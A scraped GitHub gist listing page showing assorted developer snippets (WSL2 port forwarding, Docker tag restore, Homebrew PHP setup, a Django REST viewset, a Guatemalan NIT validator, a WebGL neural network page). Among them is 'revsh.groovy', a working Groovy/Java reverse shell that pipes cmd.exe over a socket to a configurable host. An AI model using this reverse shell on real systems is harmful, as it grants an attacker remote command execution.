Skip to content

Instantly share code, notes, and snippets.

View JPaulMora's full-sized avatar

John Mora JPaulMora

View GitHub Profile
@xmeng1
xmeng1 / wsl2-network.ps1
Created July 14, 2019 06:50
WSL2 Port forwarding port to linux
$remoteport = bash.exe -c "ifconfig eth0 | grep 'inet '"
$found = $remoteport -match '\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}';
if( $found ){
$remoteport = $matches[0];
} else{
echo "The Script Exited, the ip address of WSL 2 cannot be found";
exit;
}
@tap52384
tap52384 / readme.md
Last active January 10, 2023 23:38
Bootcamp via Virtualbox 5.2 on macOS Mojave
@dividezigns
dividezigns / Custom Post Type Archive Template for Divi
Last active April 17, 2023 03:10
This template can be used as an archive page for a custom post type in Divi. Create a file and name it archive-your_custom_post_name.php. and place it in your child theme's directory.
<?php
/* =====
Template Name: Custom Post Type Archive
===== */
get_header();
@gaga5lala
gaga5lala / restore_docker_image_tag.sh
Created November 7, 2017 02:04
Restore docker image tag from text file.
# 1. Backup image tags to text file.
# $ docker images --format "{{.Repository}}:{{.Tag}} {{.ID}}" > img_id.txt
#
# 2. Execute clean-docker-for-mac script
# $ bash clean-docker-for-mac.sh $(docker images --format "{{.ID}}" | xargs)
#
# source: https://gist.github.com/MrTrustor/e690ba75cefe844086f5e7da909b35ce#file-clean-docker-for-mac-sh
#
# 3. Execute this script to restore tags from text file.
@DragonBe
DragonBe / php_apache_homebrew.md
Last active July 4, 2024 17:15
Installation of Apache 2.4 and PHP 7.1 with Homebrew

I posted several talks about compiling PHP from source, but everyone was trying to convince me that a package manager like Homebrew was a more convenient way to install.

The purpose of Homebrew is simple: a package manager for macOS that will allow you to set up and install common packages easily and allows you to update frequently using simple commands.

I used a clean installation of macOS Sierra to ensure all steps could be recorded and tested. In most cases you already have done work on your Mac, so chances are you can skip a few steps in this tutorial.

Apache and PHP with homebrew

I’ve made this according to the installation instructions given on GetGrav.

@dkarchmer
dkarchmer / drf-nested-views.py
Last active December 21, 2023 19:47
Example of a Django Rest Framework ViewSet with nested views
# ViewSets define the view behavior.
class FooViewSet(viewsets.ModelViewSet):
lookup_field = 'slug'
queryset = Foo.objects.all()
serializer_class = FooSerializer
def get_queryset(self):
"""
This view should return a list of all records
"""
@rodrigopolo
rodrigopolo / Guatemala NIT validation in JavaScript
Last active August 15, 2023 13:43
A simple function to validate guatemalan NIT using both, regex and math.
/*
* These functions validate whether a string corresponds to a Guatemalan tax
* identification number, also known as 'Numero de Identificación
* Tributaria' (NIT). They employ regular expressions for this purpose, utilizing
* the metacharacter shorthand '\d' instead of '[0-9]' to save space.
* The approach is highly optimized for bandwidth reduction; readability and
* maintenance are not prioritized over optimization. You can observe how this
* regular expression works through the following links:
* - https://regex101.com/r/d5YFJE/1
* - https://regexr.com/7ieic
@frohoff
frohoff / revsh.groovy
Created March 2, 2016 18:55
Pure Groovy/Java Reverse Shell
String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
@gigorok
gigorok / gist:5ca39384635113495796
Created July 4, 2014 13:59
php interactive shell with loaded composer dependencies
php -a -d auto_prepend_file=./vendor/autoload.php
@adrianseeley
adrianseeley / GPU_MSDA_FF_ANN.html
Last active April 27, 2021 18:18
A Sinus Activated Multi-Stochastic-Descending/Ascending (MSD/A) Feed Forward Artificial Neural Network (ANN) Computed by GPU via JavaScript and WebGL GLSL (GATO 2014) :: Fiddle: http://jsfiddle.net/Hnv8H/
<!DOCTYPE html>
<html>
<pre id="page" style="font-family: monospace; white-space: pre-wrap;">
<h3>A Sinus Activated Multi-Stochastic-Descending/Ascending (MSD/A) Feed Forward Artificial Neural Network (ANN) Computed by GPU via JavaScript and WebGL GLSL (GATO 2014)</h3>This web page attempts to outline an implementation for solving non-linearly-separable (NLS) classification and function approximation problems using a sinus activated feed forward neural network, trained via multi-stochastic-descension/ascension (MSD/A), and evaluated using the GPU via JavaScript and WebGL GLSL source code.
In order to overcome NLS using MSD/A, a sinus activation function: <b>sin(x)</b>, has been used in place of sigmoid: <b>1 / (1 + exp(-x))</b>, hyper-tangent: <b>htan(x)</b>, and/or averaging: <b>sum / count</b>, activation functions.
Although ANNs capable of overcoming NLS problems are said to be capable of entering any computationally complete state, actually finding and entering a specific state required to solve a real